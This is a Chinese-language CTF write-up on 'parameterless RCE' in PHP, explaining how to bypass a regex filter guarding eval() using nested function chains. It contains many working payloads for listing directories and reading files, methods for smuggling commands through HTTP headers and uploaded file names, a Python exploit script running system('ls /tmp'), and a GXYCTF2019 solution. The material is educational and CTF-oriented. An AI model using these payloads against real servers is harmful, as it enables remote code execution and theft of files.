目录
粗略两种方法:
1.利用超全局变量进行bypass,进行RCE
2.进行任意文件读取
题目特征:
遇到如下限制
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
我们会发现我们使用参数则无法通过正则的校验
/[^\W]+\((?R)?\)/
而该正则,正是我们说的无参数函数的校验,其只允许执行如下格式函数
a(b(c()));
a();
但不允许 携带参数!
这样我们只能使用无参数RCE,难度徒增!
基础函数学习
- localeconv() 函数返回一包含本地数字及货币格式信息的数组。
- scandir() 列出 images 目录中的文件和目录。
- readfile() 输出一个文件。
- current() 返回数组中的当前单元, 默认取第一个值。
- pos() current() 的别名。
- next() 函数将内部指针指向数组中的下一个元素,并输出。
- array_reverse()以相反的元素顺序返回数组。
- highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。
- current(localeconv()) 永远都是个点
- localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
- current() 返回数组中的当前单元, 默认取第一个值。
- pos() 是current()的别名。
- var_dump()是判断一个变量的类型与长度,并输出变量的数值,如果变量有值输的是变量的值并回返数据类型.此函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。
〇、非常规操作
https://blog.csdn.net/kali_Ma/article/details/122544274
目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。
数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。
读文件:
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件print_r(det_defined_vars()); 打印所有可用的变量
scandir()
文件读取查看当前目录文件名
print_r(scandir(current(localeconv())));
当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));
随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));
查看上一级目录文件名
print_r( );
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));
读取上级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));payload解释:
● array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
● array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
● dirname(chdir(dirname()))配合切换文件路径查看和读取根目录文件
所获得的字符串第一位有几率是/,需要多试几次
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
方法一:array_rand()
效果如下
不想要下标,我想要数组的值,那么我们可以使用
array_filp()
两者结合使用,即可出现数组的
方法二:getallheaders()
之前我们获取的是所有环境变量的列表,但其实我们并不需要这么多信息。仅仅http header即可
在apache2环境下,我们有函数getallheaders()可返回
我们可以看一下返回值
1 2 3 4 5 6 7 8 9 | array(8) { ["Host"]=> string(14) "106.14.114.127" ["Connection"]=> string(10) "keep-alive" ["Cache-Control"]=> string(9) "max-age=0" ["Upgrade-Insecure-Requests"]=> string(1) "1" ["User-Agent"]=> string(120) "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" ["Accept"]=> string(118) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3" ["Accept-Encoding"]=> string(13) "gzip, deflate" ["Accept-Language"]=> string(14) "zh-CN,zh;q=0.9" } |
我们可以看到,成功返回了http header,我们可以在header中做一些自定义的手段,例如
我们再将结果中的恶意命令取出
var_dump(end(getallheaders()));
这样一来相当于我们将http header中的sky变成了我们的参数,可用其进行bypass 无参数函数执行
例如
那么可以进一步利用http header的sky属性进行rce
方法三:get_defined_vars()
使用 getallheaders ( ) 其实具有局限性,因为他是 apache 的函数,如果目标中间件不为 apache,那么这种方法就会失效,我们也没有更加普遍的方式呢?
这里我们可以使用 get_defined_vars ( ) ,首先看一下它的回显。
发现其可以回显全局变量有如下几种:
$_GET $_POST $_FILES $_COOKIE
我们这里的选择也就具有多样性,可以利用 $_GET 进行 RCE,例如:
还是和之前的思路一样,将恶意参数取出。
发现可以成功 RCE。
但一般网站喜欢对如下超全局变量做全局过滤:
$_GET $_POST $_COOKIE
所以我们可以尝试从 $_FILES 下手,这就需要我们自己写一个上传:
可以发现空格会被替换成下划线 _ ,为防止干扰我们用 hex 编码进行 RCE。
最终脚本如下:
import requests from io
import BytesIO
payload = "system('ls /tmp');".encode('hex')
files = { payload: BytesIO ( ’ sky cool! ’ ) }
r = requests.post ('http://localhost/skyskysky.php?code=eval ( hex2bin ( array_rand ( end ( get_defined_vars() ))));',files=files, allow_redirects=False )
print r.content
//?code=eval(hex2bin(array_rand(end(get_defined_vars()))));',files=files, allow_redirects=False
例题:
[GXYCTF2019]禁止套娃 无参数RCE
分析源码:
- GET方式传入exp参数,若满足条件,则将exp内容当做php代码来执行。
- 过滤了data/filter/php/phar伪协议,不能以伪协议直接读取文件。
- (?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
- 正则匹配还过滤了et/na/info等关键字,导致get等很多函数用不了
- eval($_GET[‘exp’]); 典型的无参数RCE
一、首先需要得到当前目录下的文件
scandir()函数可以扫描当前目录下的文件,例如:
<?php
print_r(scandir('.'));
?>
但是要如何构造scandir('.'),这里有个‘.’直接传入就相当于还是传入一个参数,exp还是被过滤掉了,所以我们要想个其他的方法代替'.'
这里涉及到一个知识点:
current(localeconv())永远都是个点
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值。
pos()是current()的别名。
pos(localeconv())和current(localeconv())的结果一样,都是表示'.'
所以这两个函数嵌套使用就是一个'.'
那么我们第一步就解决了:
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
接下来就是如和读取到倒数第二个数组呢?
array_flip():交换数组中的键和值。
此时将键和值做了一下交换,下一步就是如何取出他的键。
array_rand():从数组中随机取出一个或多个单元
最后一个问题,如何读取flag.php的源码。
由于et被过滤掉了,所以不能使用file_get_contents(),但是可以市容readfile()或highlight_file()以及其别名函数show_source()。
有了以上的函数,我们就可以将这些函数组合起来读取flag了。
?exp=show_source(array_rand(array_flip(scandir(pos(localeconv())))));
?exp=highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));
由于是使用array_rand()函数随机取出键值,所以可能需要多刷新几次才能取出flag.php。